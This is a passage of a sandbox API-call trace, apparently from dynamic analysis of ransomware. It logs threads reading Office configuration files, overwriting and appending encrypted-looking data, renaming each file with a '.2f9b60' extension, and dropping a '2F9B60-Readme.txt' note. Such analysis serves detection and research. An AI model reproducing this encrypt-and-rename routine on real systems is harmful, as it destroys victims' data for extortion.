(HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204feda0 [0143.606] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fed70 [0143.606] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fed70) returned 1 [0143.606] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59e30) returned 1 [0143.606] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ce0) returned 1 [0143.606] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x204fed70 [0143.606] sprintf (in: _Dest=0x204fed70, _Format="%c%c" | out: _Dest="a9") returned 2 [0143.606] sprintf (in: _Dest=0x204fed72, _Format="%c%c" | out: _Dest="21") returned 2 [0143.606] sprintf (in: _Dest=0x204fed74, _Format="%c%c" | out: _Dest="99") returned 2 [0143.606] sprintf (in: _Dest=0x204fed76, _Format="%c%c" | out: _Dest="0e") returned 2 [0143.606] sprintf (in: _Dest=0x204fed78, _Format="%c%c" | out: _Dest="4a") returned 2 [0143.606] sprintf (in: _Dest=0x204fed7a, _Format="%c%c" | out: _Dest="0c") returned 2 [0143.606] sprintf (in: _Dest=0x204fed7c, _Format="%c%c" | out: _Dest="4a") returned 2 [0143.606] sprintf (in: _Dest=0x204fed7e, _Format="%c%c" | out: _Dest="f9") returned 2 [0143.606] sprintf (in: _Dest=0x204fed80, _Format="%c%c" | out: _Dest="07") returned 2 [0143.606] sprintf (in: _Dest=0x204fed82, _Format="%c%c" | out: _Dest="64") returned 2 [0143.606] sprintf (in: _Dest=0x204fed84, _Format="%c%c" | out: _Dest="e1") returned 2 [0143.607] sprintf (in: _Dest=0x204fed86, _Format="%c%c" | out: _Dest="da") returned 2 [0143.607] sprintf (in: _Dest=0x204fed88, _Format="%c%c" | out: _Dest="70") returned 2 [0143.607] sprintf (in: _Dest=0x204fed8a, _Format="%c%c" | out: _Dest="24") returned 2 [0143.607] sprintf (in: _Dest=0x204fed8c, _Format="%c%c" | out: _Dest="a2") returned 2 [0143.607] sprintf (in: _Dest=0x204fed8e, _Format="%c%c" | out: _Dest="5b") returned 2 [0143.607] RtlInitAnsiString (in: DestinationString=0x3c1afbe8, SourceString="a921990e4a0c4af90764e1da7024a25b" | out: DestinationString="a921990e4a0c4af90764e1da7024a25b") [0143.607] RtlAnsiStringToUnicodeString (in: DestinationString=0x3c1afbb8, SourceString="a921990e4a0c4af90764e1da7024a25b", AllocateDestinationString=1 | out: DestinationString="a921990e4a0c4af90764e1da7024a25b") returned 0x0 [0143.607] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x42059bf0 [0143.607] RtlFreeAnsiString (AnsiString="a") [0143.607] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fed70) returned 1 [0143.607] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d5a50) returned 1 [0143.608] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204feda0) returned 1 [0143.608] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1693c0) returned 1 [0143.608] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced81f0) returned 1 [0143.608] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7500) returned 1 [0143.608] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced83d0) returned 1 [0143.608] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6d80) returned 1 [0143.609] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fed40) returned 1 [0143.609] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fee00) returned 1 [0143.609] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fee30) returned 1 [0143.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x20507730 [0143.609] wcscat (in: _Dest=0x20507730, _Source="a921990e" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\a921990e") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\a921990e" [0143.609] wcscat (in: _Dest=0x20507730, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\a921990e.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\a921990e.2f9b60" [0143.609] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\a921990e.2f9b60", NtPathName=0x3c1afb90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\a921990e.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0143.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x1ce223e0 [0143.610] NtSetInformationFile (FileHandle=0x1f80, IoStatusBlock=0x3c1afc30, FileInformation=0x1ce223e0, Length=0xaa, FileInformationClass=0xa) returned 0x0 [0143.808] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce223e0) returned 1 [0143.808] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42052970) returned 1 [0143.808] NtQueryInformationFile (in: FileHandle=0x1f80, IoStatusBlock=0x3c1afbf8, FileInformation=0x3c1afc08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3c1afbf8, FileInformation=0x3c1afc08) returned 0x0 [0143.809] NtSetInformationFile (FileHandle=0x1f80, IoStatusBlock=0x3c1afbf8, FileInformation=0x3c1afc08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0143.810] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20507730) returned 1 [0143.810] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059bf0) returned 1 [0143.810] FlushFileBuffers (hFile=0x1f80) returned 1 [0143.872] CloseHandle (hObject=0x1f80) returned 1 [0143.873] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x20506d10 [0143.873] wcscpy (in: _Dest=0x20506d10, _Source="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" [0143.873] wcscat (in: _Dest=0x20506d10, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\2F9B60-Readme.txt" [0143.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\2f9b60-readme.txt")) returned 0x20 [0143.874] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20506d10) returned 1 [0143.874] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ae2f0) returned 1 Thread: id = 2190 os_tid = 0x1644 [0140.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfnot.cfg")) returned 0x20 [0140.609] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG", dwFileAttributes=0x20) returned 1 [0140.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfnot.cfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1f9c [0142.196] GetFileSizeEx (in: hFile=0x1f9c, lpFileSize=0x3c36fe40 | out: lpFileSize=0x3c36fe40*=320) returned 1 [0142.196] SetFilePointerEx (in: hFile=0x1f9c, liDistanceToMove=0x13c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.196] ReadFile (in: hFile=0x1f9c, lpBuffer=0x3c36fdc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3c36fe08, lpOverlapped=0x0 | out: lpBuffer=0x3c36fdc0*, lpNumberOfBytesRead=0x3c36fe08*=0x4, lpOverlapped=0x0) returned 1 [0142.197] SetFilePointerEx (in: hFile=0x1f9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.197] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe6e0 [0142.197] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fea70 [0142.198] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204feb00 [0142.198] NtQuerySystemTime (in: CurrentTime=0x3c36fd00 | out: CurrentTime=0x3c36fd00*=132462177474430000) returned 0x0 [0142.198] RtlRandomEx (in: Seed=0x3c36fcf0 | out: Seed=0x3c36fcf0) returned 0x51a70135 [0142.198] RtlRandomEx (in: Seed=0x3c36fcf0 | out: Seed=0x3c36fcf0) returned 0x7ca5efad [0142.198] RtlRandomEx (in: Seed=0x3c36fcf0 | out: Seed=0x3c36fcf0) returned 0x126509d1 [0142.198] RtlRandomEx (in: Seed=0x3c36fcf0 | out: Seed=0x3c36fcf0) returned 0x3823ba9 [0142.198] RtlRandomEx (in: Seed=0x3c36fcf0 | out: Seed=0x3c36fcf0) returned 0x28a8e542 [0142.198] RtlRandomEx (in: Seed=0x3c36fcf0 | out: Seed=0x3c36fcf0) returned 0x126509d1 [0142.198] RtlRandomEx (in: Seed=0x3c36fcf0 | out: Seed=0x3c36fcf0) returned 0x6e7d6b87 [0142.198] RtlRandomEx (in: Seed=0x3c36fcf0 | out: Seed=0x3c36fcf0) returned 0xe4489b9 [0142.198] RtlRandomEx (in: Seed=0x3c36fcf0 | out: Seed=0x3c36fcf0) returned 0x33e6eb58 [0142.198] RtlRandomEx (in: Seed=0x3c36fcf0 | out: Seed=0x3c36fcf0) returned 0x42a5e5e2 [0142.198] RtlRandomEx (in: Seed=0x3c36fcf0 | out: Seed=0x3c36fcf0) returned 0x44a69cbf [0142.198] RtlRandomEx (in: Seed=0x3c36fcf0 | out: Seed=0x3c36fcf0) returned 0x753843f1 [0142.198] RtlRandomEx (in: Seed=0x3c36fcf0 | out: Seed=0x3c36fcf0) returned 0x33305107 [0142.198] RtlRandomEx (in: Seed=0x3c36fcf0 | out: Seed=0x3c36fcf0) returned 0x38529f12 [0142.198] RtlRandomEx (in: Seed=0x3c36fcf0 | out: Seed=0x3c36fcf0) returned 0x64b2dab1 [0142.198] RtlRandomEx (in: Seed=0x3c36fcf0 | out: Seed=0x3c36fcf0) returned 0x43fcabe2 [0142.198] RtlRandomEx (in: Seed=0x3c36fcf0 | out: Seed=0x3c36fcf0) returned 0x6fa9c73 [0142.198] RtlRandomEx (in: Seed=0x3c36fcf0 | out: Seed=0x3c36fcf0) returned 0x552e0599 [0142.198] RtlRandomEx (in: Seed=0x3c36fcf0 | out: Seed=0x3c36fcf0) returned 0x780ea0e9 [0142.198] RtlRandomEx (in: Seed=0x3c36fcf0 | out: Seed=0x3c36fcf0) returned 0x5e23cc41 [0142.198] RtlRandomEx (in: Seed=0x3c36fcf0 | out: Seed=0x3c36fcf0) returned 0x234b9f3d [0142.199] RtlRandomEx (in: Seed=0x3c36fcf0 | out: Seed=0x3c36fcf0) returned 0x53b8f0e9 [0142.199] RtlRandomEx (in: Seed=0x3c36fcf0 | out: Seed=0x3c36fcf0) returned 0x780ea0e9 [0142.199] RtlRandomEx (in: Seed=0x3c36fcf0 | out: Seed=0x3c36fcf0) returned 0x78804ca0 [0142.199] RtlRandomEx (in: Seed=0x3c36fcf0 | out: Seed=0x3c36fcf0) returned 0x14286470 [0142.199] RtlRandomEx (in: Seed=0x3c36fcf0 | out: Seed=0x3c36fcf0) returned 0x1366ed73 [0142.199] RtlRandomEx (in: Seed=0x3c36fcf0 | out: Seed=0x3c36fcf0) returned 0x59f6f6ac [0142.199] RtlRandomEx (in: Seed=0x3c36fcf0 | out: Seed=0x3c36fcf0) returned 0x2bb58d89 [0142.199] RtlRandomEx (in: Seed=0x3c36fcf0 | out: Seed=0x3c36fcf0) returned 0x2ca2a79f [0142.199] RtlRandomEx (in: Seed=0x3c36fcf0 | out: Seed=0x3c36fcf0) returned 0x68523706 [0142.199] RtlRandomEx (in: Seed=0x3c36fcf0 | out: Seed=0x3c36fcf0) returned 0x4b43c7a [0142.199] RtlRandomEx (in: Seed=0x3c36fcf0 | out: Seed=0x3c36fcf0) returned 0x357314d9 [0142.210] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204feb30 [0142.210] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061f30 [0142.211] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204feb60 [0142.211] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061f30) returned 1 [0142.211] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204feb00) returned 1 [0142.211] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe6e0) returned 1 [0142.211] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059830 [0142.211] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061f30 [0142.211] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe6e0 [0142.212] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe6e0) returned 1 [0142.212] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42213100 [0142.212] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421bb5f0 [0142.212] ReadFile (in: hFile=0x1f9c, lpBuffer=0x42213100, nNumberOfBytesToRead=0x140, lpNumberOfBytesRead=0x3c36fcf0, lpOverlapped=0x0 | out: lpBuffer=0x42213100*, lpNumberOfBytesRead=0x3c36fcf0*=0x140, lpOverlapped=0x0) returned 1 [0142.212] SetFilePointerEx (in: hFile=0x1f9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.212] WriteFile (in: hFile=0x1f9c, lpBuffer=0x421bb5f0*, nNumberOfBytesToWrite=0x140, lpNumberOfBytesWritten=0x3c36fcf4, lpOverlapped=0x0 | out: lpBuffer=0x421bb5f0*, lpNumberOfBytesWritten=0x3c36fcf4*=0x140, lpOverlapped=0x0) returned 1 [0143.349] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264800 [0143.349] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267230 [0143.349] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267230) returned 1 [0143.350] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421bb5f0) returned 1 [0143.350] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42213100) returned 1 [0143.350] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061f30) returned 1 [0143.350] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059830) returned 1 [0143.350] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x20267230 [0143.350] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059830 [0143.350] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061f30 [0143.350] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266b40 [0143.351] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266b40) returned 1 [0143.351] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x20266b40 [0143.351] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202669f0 [0143.351] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8280 [0143.351] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8280) returned 1 [0143.351] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061f30) returned 1 [0143.351] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059830) returned 1 [0143.351] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x106) returned 0x1694d0 [0143.352] SetFilePointerEx (in: hFile=0x1f9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0143.352] WriteFile (in: hFile=0x1f9c, lpBuffer=0x1694d0*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3c36fe10, lpOverlapped=0x0 | out: lpBuffer=0x1694d0*, lpNumberOfBytesWritten=0x3c36fe10*=0x106, lpOverlapped=0x0) returned 1 [0143.566] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ce0 [0143.566] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59e30 [0143.566] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fead0 [0143.566] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fead0) returned 1 [0143.566] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b7d5a50 [0143.566] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fead0 [0143.567] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204feaa0 [0143.567] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204feaa0) returned 1 [0143.567] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59e30) returned 1 [0143.567] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ce0) returned 1 [0143.567] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1b7aa1a0 [0143.567] sprintf (in: _Dest=0x1b7aa1a0, _Format="%c%c" | out: _Dest="8f") returned 2 [0143.567] sprintf (in: _Dest=0x1b7aa1a2, _Format="%c%c" | out: _Dest="30") returned 2 [0143.567] sprintf (in: _Dest=0x1b7aa1a4, _Format="%c%c" | out: _Dest="d0") returned 2 [0143.567] sprintf (in: _Dest=0x1b7aa1a6, _Format="%c%c" | out: _Dest="cd") returned 2 [0143.567] sprintf (in: _Dest=0x1b7aa1a8, _Format="%c%c" | out: _Dest="8e") returned 2 [0143.568] sprintf (in: _Dest=0x1b7aa1aa, _Format="%c%c" | out: _Dest="42") returned 2 [0143.568] sprintf (in: _Dest=0x1b7aa1ac, _Format="%c%c" | out: _Dest="84") returned 2 [0143.568] sprintf (in: _Dest=0x1b7aa1ae, _Format="%c%c" | out: _Dest="2b") returned 2 [0143.568] sprintf (in: _Dest=0x1b7aa1b0, _Format="%c%c" | out: _Dest="d1") returned 2 [0143.568] sprintf (in: _Dest=0x1b7aa1b2, _Format="%c%c" | out: _Dest="78") returned 2 [0143.568] sprintf (in: _Dest=0x1b7aa1b4, _Format="%c%c" | out: _Dest="cf") returned 2 [0143.568] sprintf (in: _Dest=0x1b7aa1b6, _Format="%c%c" | out: _Dest="ff") returned 2 [0143.568] sprintf (in: _Dest=0x1b7aa1b8, _Format="%c%c" | out: _Dest="aa") returned 2 [0143.568] sprintf (in: _Dest=0x1b7aa1ba, _Format="%c%c" | out: _Dest="25") returned 2 [0143.568] sprintf (in: _Dest=0x1b7aa1bc, _Format="%c%c" | out: _Dest="af") returned 2 [0143.568] sprintf (in: _Dest=0x1b7aa1be, _Format="%c%c" | out: _Dest="dd") returned 2 [0143.568] sprintf (in: _Dest=0x1b7aa1c0, _Format="%c%c" | out: _Dest="8c") returned 2 [0143.568] sprintf (in: _Dest=0x1b7aa1c2, _Format="%c%c" | out: _Dest="32") returned 2 [0143.568] sprintf (in: _Dest=0x1b7aa1c4, _Format="%c%c" | out: _Dest="09") returned 2 [0143.568] sprintf (in: _Dest=0x1b7aa1c6, _Format="%c%c" | out: _Dest="5f") returned 2 [0143.568] RtlInitAnsiString (in: DestinationString=0x3c36fe88, SourceString="8f30d0cd8e42842bd178cfffaa25afdd8c32095f" | out: DestinationString="8f30d0cd8e42842bd178cfffaa25afdd8c32095f") [0143.568] RtlAnsiStringToUnicodeString (in: DestinationString=0x3c36fe58, SourceString="8f30d0cd8e42842bd178cfffaa25afdd8c32095f", AllocateDestinationString=1 | out: DestinationString="8f30d0cd8e42842bd178cfffaa25afdd8c32095f") returned 0x0 [0143.568] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd86130 [0143.569] RtlFreeAnsiString (AnsiString="8") [0143.569] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7aa1a0) returned 1 [0143.569] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d5a50) returned 1 [0143.569] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fead0) returned 1 [0143.569] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1694d0) returned 1 [0143.570] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266b40) returned 1 [0143.570] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202669f0) returned 1 [0143.570] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267230) returned 1 [0143.570] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264800) returned 1 [0143.570] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fea70) returned 1 [0143.570] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204feb30) returned 1 [0143.571] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204feb60) returned 1 [0143.571] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x205079b0 [0143.571] wcscat (in: _Dest=0x205079b0, _Source="8f30d0cd8e" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\8f30d0cd8e") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\8f30d0cd8e" [0143.571] wcscat (in: _Dest=0x205079b0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\8f30d0cd8e.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\8f30d0cd8e.2f9b60" [0143.571] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\8f30d0cd8e.2f9b60", NtPathName=0x3c36fe30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\8f30d0cd8e.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0143.571] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x1ce220e0 [0143.571] NtSetInformationFile (FileHandle=0x1f9c, IoStatusBlock=0x3c36fed0, FileInformation=0x1ce220e0, Length=0xae, FileInformationClass=0xa) returned 0x0 [0143.753] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce220e0) returned 1 [0143.753] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42052ba0) returned 1 [0143.753] NtQueryInformationFile (in: FileHandle=0x1f9c, IoStatusBlock=0x3c36fe98, FileInformation=0x3c36fea8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3c36fe98, FileInformation=0x3c36fea8) returned 0x0 [0143.753] NtSetInformationFile (FileHandle=0x1f9c, IoStatusBlock=0x3c36fe98, FileInformation=0x3c36fea8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0143.756] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205079b0) returned 1 [0143.756] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd86130) returned 1 [0143.756] FlushFileBuffers (hFile=0x1f9c) returned 1 [0143.759] CloseHandle (hObject=0x1f9c) returned 1 [0143.760] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x205079b0 [0143.760] wcscpy (in: _Dest=0x205079b0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" [0143.760] wcscat (in: _Dest=0x205079b0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\2F9B60-Readme.txt" [0143.760] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\2f9b60-readme.txt")) returned 0xffffffff [0143.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f9c [0143.761] WriteFile (in: hFile=0x1f9c, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x3c36fd50, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x3c36fd50*=0xba9, lpOverlapped=0x0) returned 1 [0143.763] CloseHandle (hObject=0x1f9c) returned 1 [0143.764] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205079b0) returned 1 [0143.764] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ae410) returned 1 Thread: id = 2191 os_tid = 0x1648 [0140.611] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfres.cfg")) returned 0x20 [0140.612] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG", dwFileAttributes=0x20) returned 1 [0140.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfres.cfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1f78 [0142.294] GetFileSizeEx (in: hFile=0x1f78, lpFileSize=0x3c40fca0 | out: lpFileSize=0x3c40fca0*=338) returned 1 [0142.294] SetFilePointerEx (in: hFile=0x1f78, liDistanceToMove=0x14e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.294] ReadFile (in: hFile=0x1f78, lpBuffer=0x3c40fc20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3c40fc68, lpOverlapped=0x0 | out: lpBuffer=0x3c40fc20*, lpNumberOfBytesRead=0x3c40fc68*=0x4, lpOverlapped=0x0) returned 1 [0142.295] SetFilePointerEx (in: hFile=0x1f78, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.295] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe6e0 [0142.296] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fedd0 [0142.297] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fee60 [0142.297] NtQuerySystemTime (in: CurrentTime=0x3c40fb60 | out: 